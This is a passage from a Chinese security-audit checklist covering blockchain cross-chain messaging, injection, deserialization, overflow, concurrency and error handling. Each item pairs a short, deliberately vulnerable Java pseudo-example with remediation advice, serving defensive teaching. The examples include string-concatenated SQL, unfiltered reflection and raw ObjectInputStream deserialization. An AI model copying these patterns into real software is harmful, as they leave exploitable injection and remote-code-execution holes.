id="跨链消息可靠性：跨链消息丢失、延迟或顺序错误">跨链消息可靠性：跨链消息丢失、延迟或顺序错误</h3><ul><li><p><strong>Description</strong></p><p>在跨链过程中，如果消息传输不可靠（可能发生丢包、网络分区、顺序颠倒等），则会导致部分交易或事件未能正确同步到目标链，引起状态不一致或业务紊乱。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>传输层无重试或确认机制，消息一旦丢失就无法恢复；</li><li>跨链协议未考虑多条消息的执行顺序依赖；</li><li>无法区分重复消息、延迟消息导致错误执行。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>资产映射错误、锁定状态不同步；</li><li>业务逻辑（如跨链合约调用）出现不一致，造成分叉或死锁状态。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CrossChainMsgHandler</span> &#123;</span><br><span class="line">    <span class="comment">// 如果对 msgId 或 sequence 不记录</span></span><br><span class="line">    <span class="comment">// 当网络出现延迟或重复发送</span></span><br><span class="line">    <span class="comment">// 可能多次执行同一跨链指令</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">onMessage</span><span class="params">(CrossChainMessage msg)</span> &#123;</span><br><span class="line">        <span class="comment">// 直接执行，不做去重</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>在消息层实现可靠传输协议</strong>（ACK、重试、顺序编号），或者依赖底层具备类似功能；</li><li><strong>对跨链消息进行序列化管理</strong>，在目标链保存已处理的 msgId，防止重复执行；</li><li><strong>定义超时或回滚策略</strong>，当超过一定时间未确认，需要回退或重新触发跨链操作。</li></ol></li></ul><h2 id="通用代码安全审计">通用代码安全审计</h2><h3 id="A-静态检查">A. 静态检查</h3><h4 id="内置函数安全">内置函数安全</h4><ul><li><p><strong>Description</strong></p><p>各种编程语言自带的内置函数（如字符串操作、文件I/O、网络访问等）若使用不当，可能引发安全隐患。常见例子包括在 C/C++ 中使用不安全的 <code>strcpy</code>、<code>sprintf</code> 等，或在 Java 中使用可能导致安全绕过的反射方法。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>开发者对函数原理和限制缺少了解；</li><li>忽视了内置函数的边界或异常情况。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>可能出现缓冲区溢出、数据截断、路径遍历等漏洞；</li><li>导致拒绝服务或权限提升。</li></ul></li><li><p><strong>Example Code</strong> (Java 伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ReflectionExample</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">callMethod</span><span class="params">(Object instance, String methodName)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="comment">// 如果 methodName 未过滤且直接用于反射</span></span><br><span class="line">        <span class="comment">// 攻击者可调用任意方法</span></span><br><span class="line">        <span class="type">Method</span> <span class="variable">m</span> <span class="operator">=</span> instance.getClass().getMethod(methodName);</span><br><span class="line">        <span class="keyword">return</span> m.invoke(instance);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>限制对高危内置函数或功能的使用</strong>（如反射、Runtime.exec 等），仅在必要时启用；</li><li><strong>在审核过程中识别潜在危险函数</strong>，并替换为更安全的版本；</li><li><strong>对传入函数名、文件路径等做严格验证</strong>。</li></ol></li></ul><h4 id="标准库安全审计">标准库安全审计</h4><ul><li><p><strong>Description</strong></p><p>标准库往往是语言底层的重要组件，但其中也可能存在已知安全漏洞（历史版本）或使用姿势错误导致的安全隐患，比如 Java 旧版本中的 <code>ObjectInputStream</code> 反序列化漏洞。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>项目依赖的语言环境或JDK版本过旧；</li><li>在使用标准库中的类或方法时，没有按照最佳实践使用。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>利用旧版库缺陷可进行远程代码执行、拒绝服务等；</li><li>攻击者能通过注入或特定输入触发漏洞。</li></ul></li><li><p><strong>Example Code</strong> (Java 伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 使用旧版本Java库中可能存在的安全漏洞，如Apache Commons某版本</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OldLibUse</span> &#123;</span><br><span class="line">    <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>定期升级语言环境</strong>（JDK、.NET、Python 解释器等）到最新安全版本；</li><li><strong>关注官方安全公告</strong>，及时修补库中的高危漏洞；</li><li><strong>对潜在危险接口（序列化、JNI 等）做额外防护</strong>。</li></ol></li></ul><h4 id="第三方库安全审计">第三方库安全审计</h4><ul><li><p><strong>Description</strong></p><p>在现代软件开发中，大量第三方依赖库（如各种开源框架、工具库）被引入项目。若这些依赖存在已知CVE漏洞或后门，则会成为潜在风险。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未进行依赖库版本管理或安全扫描；</li><li>开发者随意引入第三方包，忽视其维护和更新。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可利用第三方库中的漏洞获取系统权限或发起拒绝服务；</li><li>供应链攻击时，可在包中植入恶意代码。</li></ul></li><li><p><strong>Example Code</strong> (Maven 伪示例)</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>com.example<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>insecure-lib<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.0<span class="tag">&lt;/<span class="name">version</span>&gt;</span> <span class="comment">&lt;!-- 存在已知漏洞 --&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>使用依赖管理工具（如 Maven、Gradle、npm 等）</strong> 并定期进行安全扫描；</li><li><strong>关注CVE数据库</strong> 或使用自动化安全检测工具（OSSIndex、Snyk 等）；</li><li><strong>最小化第三方依赖</strong>，只引入必要功能，避免杂乱。</li></ol></li></ul><h4 id="注入审计">注入审计</h4><ul><li><p><strong>Description</strong></p><p>注入漏洞（SQL注入、LDAP注入、EL表达式注入、命令注入等）是常见高危漏洞之一。如果代码中直接将用户输入拼接到命令或语句中，无适当转义或参数化，易出现注入风险。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>忽视对输入的验证或使用不安全的字符串拼接；</li><li>缺乏防注入机制或参数化查询。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>攻击者可执行任意数据库查询、远程命令或操作系统指令；</li><li>导致数据泄露、系统被接管。</li></ul></li><li><p><strong>Example Code</strong> (Java - SQL注入示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserDAO</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> User <span class="title function_">getUserByName</span><span class="params">(String username)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果直接拼接字符串</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;SELECT * FROM users WHERE username=&#x27;&quot;</span> + username + <span class="string">&quot;&#x27;&quot;</span>;</span><br><span class="line">        <span class="keyword">return</span> db.executeQuery(sql);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>使用参数化查询或预编译语句</strong>（PreparedStatement）而非字符串拼接；</li><li><strong>对来自外部的输入统一做过滤或转义</strong>；</li><li><strong>对多种注入场景（SQL、OS命令、NoSQL、EL等）均进行审计</strong>。</li></ol></li></ul><h4 id="代码合规性审计">代码合规性审计</h4><ul><li><p><strong>Description</strong></p><p>许多行业或企业有特定的编码规范和安全准则（如 MISRA、CERT Java 等）。若不符合这些规范，可能埋下安全或质量隐患。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>开发团队未执行或不熟悉相关合规标准；</li><li>缺少自动化合规检查工具。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>代码难以维护或存在隐性安全漏洞；</li><li>合规审计无法通过，影响产品上线或认证。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>建立统一的编码规范文档</strong>，并在CI/CD中进行自动化扫描（如 Checkstyle、SonarQube）；</li><li><strong>对关键模块进行人工 Code Review</strong>，强调安全和风格一致性；</li><li><strong>开展编码规范培训</strong>，让团队成员了解常见安全准则。</li></ol></li></ul><h4 id="死代码检测">死代码检测</h4><ul><li><p><strong>Description</strong></p><p>死代码（Dead Code）或未被调用的函数、变量，不仅会增加维护成本，还可能包含潜在的安全逻辑漏洞或旧代码残留。如果被意外触发，也会带来未知风险。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>迭代中功能被弃用却未移除；</li><li>缺少对引用关系的跟踪和清理。</li></ul></li><li><p><strong>Severity</strong></p><p>Low / Medium</p></li><li><p><strong>Impact</strong></p><ul><li>增加系统复杂度，引入不必要的依赖；</li><li>可能被攻击者通过特定路径激活。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>在构建或审计阶段使用工具（IDE 或 SonarQube）检测死代码</strong>；</li><li><strong>及时删除或注释掉无用函数、模块</strong>；</li><li><strong>保持文档同步更新</strong>，避免误删仍需使用的代码。</li></ol></li></ul><h4 id="代码复杂度分析">代码复杂度分析</h4><ul><li><p><strong>Description</strong></p><p>过高的代码复杂度（圈复杂度、嵌套层级、模块耦合度）不仅降低可维护性，也容易出现逻辑分支未覆盖或安全检查疏漏，导致潜在漏洞。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>缺乏模块化拆分；</li><li>大量 if/else 分支或嵌套循环。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>开发人员难以全面理解代码逻辑，修复Bug或添加功能时可能破坏安全检查；</li><li>提高安全审计和测试难度。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>采用分层架构与合理的模块拆分</strong>，降低单个函数或类的复杂度；</li><li><strong>借助代码度量工具（如 SonarQube、PMD）</strong> 监控圈复杂度；</li><li><strong>定期做重构</strong>，尤其是针对复杂度超标的函数或模块。</li></ol></li></ul><h3 id="B-运行时安全">B. 运行时安全</h3><h4 id="序列化算法审计">序列化算法审计</h4><ul><li><p><strong>Description</strong></p><p>在区块链或分布式系统中，经常需要对数据结构进行序列化/反序列化传输（如 JSON、ProtoBuf、Java序列化等）。若使用不安全的反序列化方式或版本不一致，则可能出现漏洞或兼容性问题。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>直接使用 Java 原生序列化（ObjectInputStream）存在已知RCE风险；</li><li>序列化协议版本不匹配，导致解析出错或崩溃。</li></ul></li><li><p><strong>Severity</strong></p><p>High</p></li><li><p><strong>Impact</strong></p><ul><li>远程代码执行、内存破坏；</li><li>无法正确反序列化数据，节点或模块间通讯中断。</li></ul></li><li><p><strong>Example Code</strong> (Java 伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Java原生反序列化方式</span></span><br><span class="line"><span class="keyword">public</span> Object <span class="title function_">fromBytes</span><span class="params">(<span class="type">byte</span>[] data)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException &#123;</span><br><span class="line">    <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(data));</span><br><span class="line">    <span class="keyword">return</span> ois.readObject(); <span class="comment">// 存在潜在RCE风险</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>避免使用原生 Java 序列化</strong>，可使用 JSON、ProtoBuf、Kryo 等更安全的方案；</li><li><strong>若必须使用</strong>，启用白名单类或过滤器限制可反序列化对象；</li><li><strong>版本管理</strong>：确保序列化协议或结构在不同节点/模块之间统一。</li></ol></li></ul><h4 id="零除风险序列化漏洞检查">零除风险序列化漏洞检查</h4><ul><li><p><strong>Description</strong></p><p>在对结构化数据进行序列化/反序列化的过程中，若出现带有除法运算的字段（或解包后直接进行除法）而未校验除数是否为零，可能抛出异常或导致安全问题。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>解包后直接使用字段做除法运算；</li><li>未考虑到分母可能是 0，负数或非法值。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>程序抛异常，节点或进程崩溃；</li><li>攻击者可利用该异常进行拒绝服务攻击。</li></ul></li><li><p><strong>Example Code</strong> (Java 伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Calc</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">double</span> <span class="title function_">computeRatio</span><span class="params">(<span class="type">int</span> numerator, <span class="type">int</span> denominator)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果 denominator=0 就抛异常</span></span><br><span class="line">        <span class="keyword">return</span> numerator / denominator;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>在使用反序列化得到的数值前，先行校验</strong>；</li><li><strong>对可疑或重要除法操作</strong>使用安全方法处理或异常捕获；</li><li><strong>在序列化协议中</strong>定义分母不应为 0 的约束，并在编码/解码时检查。</li></ol></li></ul><h4 id="内存泄露审计">内存泄露审计</h4><ul><li><p><strong>Description</strong></p><p>由于不正确的资源管理（对象、IO流、数据库连接、线程等），在长时间运行的节点或服务中容易发生内存泄露，最终导致性能下降或崩溃。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>长生命周期容器（List、Map）不断累积对象而未清理；</li><li>未及时关闭IO流、连接等。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>服务器内存被占满，出现 OOM；</li><li>系统重启或崩溃，中断服务。</li></ul></li><li><p><strong>Example Code</strong> (Java 伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MemoryLeak</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> List&lt;<span class="type">byte</span>[]&gt; bigList = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addData</span><span class="params">(<span class="type">byte</span>[] data)</span> &#123;</span><br><span class="line">        <span class="comment">// 一直存储在列表，不做任何清理</span></span><br><span class="line">        bigList.add(data);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>定期进行内存剖析（Profiling）</strong>，定位泄露点；</li><li><strong>对长生命周期容器</strong>(如静态Map、缓存)定期清理或设置过期策略；</li><li><strong>在数据库和网络操作后</strong>确保资源正确关闭，使用自动化管理（如 try-with-resources）。</li></ol></li></ul><h4 id="算术运算审计">算术运算审计</h4><ul><li><p><strong>Description</strong></p><p>包括加减乘除、取模等算术操作，如果输入或中间值异常大，会造成溢出、截断或抛异常等问题。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>缺乏输入边界检查；</li><li>未考虑到无符号/有符号类型的范围差异。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High（在处理大数或关键资金逻辑时尤为危险）</p></li><li><p><strong>Impact</strong></p><ul><li>数值计算错误、产生负值或绕回；</li><li>在区块链场景中，可能导致错误的余额或交易金额。</li></ul></li><li><p><strong>Example Code</strong> (Java 伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ArithmeticCheck</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">add</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> b)</span> &#123;</span><br><span class="line">        <span class="comment">// 如果a和b都接近Integer.MAX_VALUE时会溢出</span></span><br><span class="line">        <span class="keyword">return</span> a + b;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>对关键算术操作使用安全库</strong>（如 BigInteger，或在Solidity中使用 SafeMath）；</li><li><strong>在调用前检测边界</strong>，或捕获溢出后做合理处理；</li><li><strong>针对资金或积分类逻辑</strong>进行大量边界测试。</li></ol></li></ul><h4 id="整数溢出审计">整数溢出审计</h4><ul><li><p><strong>Description</strong></p><p>整数溢出/下溢是算术运算中最常见且危害极大的问题，尤其在处理金额、计算奖励或计数器时如果溢出，会造成严重安全漏洞。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>语言本身对于整型运算的限制；</li><li>开发者未做大值或负值检查。</li></ul></li><li><p><strong>Severity</strong></p><p>High（可导致资金流失、逻辑破坏）</p></li><li><p><strong>Impact</strong></p><ul><li>用户可借此漏洞制造超额资产、逃避惩罚或破坏计费系统；</li><li>节点或模块出现“负数”或回绕到0的情况。</li></ul></li><li><p><strong>Example Code</strong> (Java 伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OverflowExample</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">long</span> <span class="title function_">multiply</span><span class="params">(<span class="type">long</span> x, <span class="type">long</span> y)</span> &#123;</span><br><span class="line">        <span class="comment">// 若x,y都大于Long.MAX_VALUE的一半，则溢出</span></span><br><span class="line">        <span class="keyword">return</span> x * y;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>在关键逻辑中使用大整数（BigInteger / BigDecimal）或自带溢出检查的库</strong>；</li><li><strong>进行严格的输入验证</strong>，避免恶意的大数；</li><li><strong>单元测试覆盖极值场景</strong>，确保不发生溢出。</li></ol></li></ul><h4 id="资源竞争检查">资源竞争检查</h4><ul><li><p><strong>Description</strong></p><p>多线程或并发编程中，如果对共享资源（文件、变量、内存、数据库连接等）没有恰当的锁或同步措施，可能发生资源竞争，导致数据不一致、死锁或安全问题。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>未使用 synchronized / Lock / atomic 变量；</li><li>在并发环境下对全局变量或共享对象进行读写。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>数据错乱或丢失；</li><li>程序异常甚至死锁，难以排查。</li></ul></li><li><p><strong>Example Code</strong> (Java 伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SharedCounter</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> <span class="variable">count</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">increment</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 如果未同步，多线程同时执行时会丢失更新</span></span><br><span class="line">        count++;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>识别关键共享资源</strong>并使用合适的同步机制（synchronized、ReentrantLock、Atomic变量等）；</li><li><strong>尽量使用无状态/不可变对象</strong>来减少并发风险；</li><li><strong>通过线程分析工具或读写锁</strong>排查可能的竞争点。</li></ol></li></ul><h4 id="并发安全性">并发安全性</h4><ul><li><p><strong>Description</strong></p><p>除了资源竞争外，并发安全还涉及线程池、异步事件处理、协程等其他模式中的任务调度与异常管理问题。缺乏合理的并发模型易引发不可控异常、阻塞或安全漏洞。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>线程池配置不当（队列长度、最大线程数过大/过小）；</li><li>回调嵌套或定时器任务之间的交互过于复杂。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium</p></li><li><p><strong>Impact</strong></p><ul><li>系统在高并发场景下崩溃或性能剧降；</li><li>难以调试，攻击者可诱导系统进入死锁或繁忙等待。</li></ul></li><li><p><strong>Recommendation</strong></p><ol><li><strong>合理配置线程池</strong>（核心线程数、最大线程数、队列大小、拒绝策略）；</li><li><strong>采用可预测的并发模型</strong>（Actor模型、RxJava等）减少复杂性；</li><li><strong>在关键路径进行模拟并发压测</strong>，找出潜在的性能和安全瓶颈。</li></ol></li></ul><h3 id="C-错误处理">C. 错误处理</h3><h4 id="异常处理审计">异常处理审计</h4><ul><li><p><strong>Description</strong></p><p>在大多数语言中，异常处理（try/catch 或 error code）都是确保程序健壮性的关键环节。如果处理不当（如捕获后忽略、或错误地包装），会让系统无法及时发现和处理安全事件。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>使用 <code>catch(Exception e) {}</code> 空块吞掉所有异常；</li><li>错误无法在调用方正确抛出，导致调用方以为操作成功。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>潜在漏洞或系统异常被掩盖；</li><li>可能导致业务逻辑流程中断却未回滚，产生严重后果（如假充值、状态不一致）。</li></ul></li><li><p><strong>Example Code</strong> (Java 伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ExceptionSwallow</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">process</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            doSomething();</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="comment">// 什么都不做</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>对异常进行分类处理</strong>，记录日志或抛出可识别的错误码；</li><li><strong>避免空catch</strong>，至少写日志或向上抛出；</li><li><strong>在核心流程</strong>（如交易、资金操作）上严格要求异常不可被忽略，必须回滚或报警。</li></ol></li></ul><h4 id="错误未处理检查">错误未处理检查</h4><ul><li><p><strong>Description</strong></p><p>与异常处理相关，不少函数返回错误码或可选错误对象。如果调用方直接忽略，则出现错误场景下逻辑继续执行，导致安全风险。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>开发者未检查返回值，如 <code>close()</code>, <code>write()</code>, <code>delete()</code> 等；</li><li>只关心成功路径，忽视失败分支。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>发生错误时系统缺乏正确应对，进一步导致数据不一致或安全漏洞；</li><li>Debug 难度大，问题久藏不露。</li></ul></li><li><p><strong>Example Code</strong> (Java 伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UncheckedError</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">run</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// f.close()可能抛IO异常或返回false，若不处理则不知道是否成功</span></span><br><span class="line">        file.close();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>严格检查函数或方法返回值</strong>，对失败情况有明确处理；</li><li><strong>重要操作</strong>（IO、网络、数据库）需在日志中记录结果；</li><li><strong>进行静态分析</strong>（如 SonarQube） 找出未处理错误点。</li></ol></li></ul><h4 id="资源消耗审计">资源消耗审计</h4><ul><li><p><strong>Description</strong></p><p>某些错误情况下，程序可能大量消耗CPU、内存、网络带宽或其他资源。如果未限制或处理得当，会造成DoS或高成本。</p></li><li><p><strong>Cause Analysis</strong></p><ul><li>在错误循环或重试策略中，没有退出条件；</li><li>遇到异常后重复分配资源。</li></ul></li><li><p><strong>Severity</strong></p><p>Medium / High</p></li><li><p><strong>Impact</strong></p><ul><li>服务器资源被耗尽，正常请求无法处理；</li><li>攻击者可轻易放大此错误场景进行拒绝服务。</li></ul></li><li><p><strong>Example Code</strong> (伪示例)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RetryLogic</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sendData</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">while</span>(<span class="literal">true</span>) &#123;</span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                <span class="comment">// 发送数据...</span></span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">                <span class="comment">// 若不做任何延迟或重试次数限制，可能造成死循环</span></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure></li><li><p><strong>Recommendation</strong></p><ol><li><strong>为重试或错误处理设定最大次数、间隔</strong>，防止无限重试；</li><li><strong>监控资源使用</strong>，出现异常飙升及时告警或熔断；</li><li><strong>使用带超时的操作</strong>，避免长期阻塞消耗。</li></ol></li></ul><h4 id="错误恢复机制">错误恢复机制</h4><ul><li><p><strong>Description</strong></p><p>当系统出现非预期错误或异常宕机后，如果缺少正确的错误恢复或回滚机制，会导致部分状态不一致，或下次启动时逻辑紊乱。</p></li><li><p><strong>Cause 